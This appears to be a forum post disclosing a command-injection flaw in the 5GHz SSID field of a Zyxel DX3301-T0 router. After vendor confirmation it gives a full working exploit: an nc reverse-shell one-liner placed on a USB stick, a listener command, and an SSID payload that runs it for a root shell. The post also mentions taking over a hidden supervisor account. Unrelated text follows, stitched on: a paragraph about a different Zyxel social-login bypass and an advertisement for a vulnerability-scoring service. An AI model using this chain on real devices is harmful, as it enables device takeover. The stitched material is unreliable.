Update below. Zyxel has confirmed and patched the issue. Router in shot is the DX3301-T0 .

OP

I never really use ISP routers. It was free when re-grading my FTTC to FTTP. Plus it has 2 FXS ports, so could convert VoIP to analogue/PSTN.

But, as I do I check up on what issues it may or may not have. Yep, the firmware has two acknowledged CVE's that affect this firmware and no update currently available. Any more, I wonder? It didn't take long and found another post authentication command injection. Reported it accordingly, but just had to see how far I could go and finally got a reverse shell.

Turns out there is a `supervisor` account with a different password to any other. Managed to change it using the shell and ssh drops me to a standard shell (not zysh) and WebUI offers more options.

Curious find!

If/when Zyxel confirms the flaw, hopefully it'll get assigned a CVE and I'll update accordingly.

UPDATE

Vendor has confirmed the issue and is another issue identified via another CVE, just this one wasn't seen when the issue was originally disclosed. I have agreed to hold back on what the issue is until Tuesday, October 6, 2026.

When this date comes, you're going to ROFL how it came to be discovered!

CVE assigned

And I can now state how! It's part of CVE-2023-20820 however Zyxel has given is there own advisory specific to this vulnerability.

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-vulnerability-in-the-wifi-ssid-field-of-certain-dsl-ethernet-cpe-fiber-onts-and-wireless-extenders-10-06-2026

Essentially, the 5GHz SSID field isn't validated, so command injection can occur. It was discovered just by entering $(reboot) in the SSID field. The 2.4GHz field is unaffected. Since the router has USB and mass storage support, we can play.

How?

Format a USB pendrive FAT32. Add a simple text file with the following, well call it shell.

rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b |nc 192.168.1.217 4444 1>/tmp/b

Insert the pendrive into the Zyxel CPE and enable File Sharing. Note the medium identifier: usb2_sda1 in my case.

A client host with the IP 192.168.1.217 run nc as follows

nc -lnvp 4444

Change the 5GHz SSID field to $(sh /mnt/usb2_sda1/shell) and save. The client host obtains a root shell.

Enjoy!

I found this while reversing Zyxel's WAX650S firmware and following the guest Wi-Fi social-login path. The backend trusted browser-submitted Facebook identity fields instead of validating the access token server-side, letting a crafted request skip the social-authentication gate entirely.

The write-up covers the bug itself, how I traced it, and the full firmware-emulation setup I used to reproduce it without the physical AP.

Vulnerability and Exploit Data Aggregation System (VEDAS) is designed to proactively identify exploitable vulnerabilities before they hit mainstream threat intelligence feeds like KEV or EPSS.

By leveraging the world’s largest vulnerability and exploit database, VEDAS provides early warning and a broader, more forward-looking perspective: https://vedas.arpsyndicate.io

VEDAS Scores on GitHub:

https://github.com/ARPSyndicate/cve-scores

https://github.com/ARPSyndicate/cnnvd-scores

https://github.com/ARPSyndicate/bdu-scores

https://github.com/ARPSyndicate/euvd-scores